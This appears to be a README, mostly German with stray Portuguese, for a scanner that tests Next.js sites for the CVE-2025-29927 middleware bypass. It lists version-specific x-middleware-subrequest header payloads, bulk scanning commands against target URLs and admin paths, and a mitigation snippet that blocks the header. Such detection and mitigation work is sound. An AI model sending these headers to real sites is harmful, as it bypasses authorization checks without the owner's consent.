
Automatisierter PoC-Scanner für die CVE-2025-29927 Next.js Middleware-Bypass-Schwachstelle. Testet mehrere x-middleware-subrequest-Payloads über Ziel-URLs mit gleichzeitigem Scannen und JSON-Export.
Ein robustes Proof-of-Concept-Tool (PoC) zur Erkennung der Next.js Middleware-Schwachstelle (CVE-2025-29927).
Dieses Tool testet eine kritische Schwachstelle in Next.js-Anwendungen, bei der der Header x-middleware-subrequest verwendet werden kann, um im Middleware implementierte Sicherheitsüberprüfungen zu umgehen. Der Exploit beinhaltet das Senden von HTTP-Anfragen mit spezifischen schädlichen Headern, die je nach Next.js-Version variieren.
Laut der Forschung gibt es unterschiedliche Payloads für verschiedene Versionen von Next.js:
Versionen vor 12.2:
x-middleware-subrequest: pages/_middleware
Versionen ab 12.2:
x-middleware-subrequest: middleware
oder
x-middleware-subrequest: src/middleware
(falls die Anwendung das src-Verzeichnis verwendet)
Neuere Versionen (wie 15.x):
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
oder
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
Unser PoC testet alle diese Payloads automatisch und meldet, welcher erfolgreich war.
# Clone o repositório ou baixe os arquivos
# Navegue até o diretório
cd poc-nextjs-2025
# Instale os pacotes necessários
pip install -r requirements.txt
python main.py -u https://exemplo.com # Testar uma única URL
python main.py -f alvos.txt # Testar múltiplas URLs de um arquivo
# Escaneamento básico de um único alvo
python main.py -u https://exemplo.com
# Escanear múltiplos alvos com caminhos personalizados
python main.py -f alvos.txt -p /api/users,/admin,/dashboard
# Escanear com maior concorrência e timeout mais longo
python main.py -u https://exemplo.com -t 10 --timeout 15
# Salvar resultados em um arquivo JSON
python main.py -u https://exemplo.com -o resultados_scan.json
Der Scanner funktioniert wie folgt:
x-middleware-subrequest entsprechend der Next.js-VersionenWenn Sie anfällige Anwendungen entdecken, wenden Sie diese Gegenmaßnahmen an:
x-middleware-subrequest blockiertexport function middleware(request: NextRequest) {
if (request.headers.has('x-middleware-subrequest')) {
return new Response('Unauthorized', { status: 401 });
}
return NextResponse.next();
}
| Option | Beschreibung |
|---|
-u, --url URL | Ziel-URL zum Scannen |
-f, --file ARQUIVO | Datei mit mehreren zu scannenden URLs (eine pro Zeile) |
-p, --paths CAMINHOS | Kommagetrennte Liste von zu testenden Pfaden (Standard: gängige Pfade) |
-t, --threads N | Anzahl gleichzeitiger Threads (Standard: 5) |
-o, --output ARQUIVO | Ergebnisse in JSON-Datei speichern |
--timeout N | Anfrage-Timeout in Sekunden (Standard: 10) |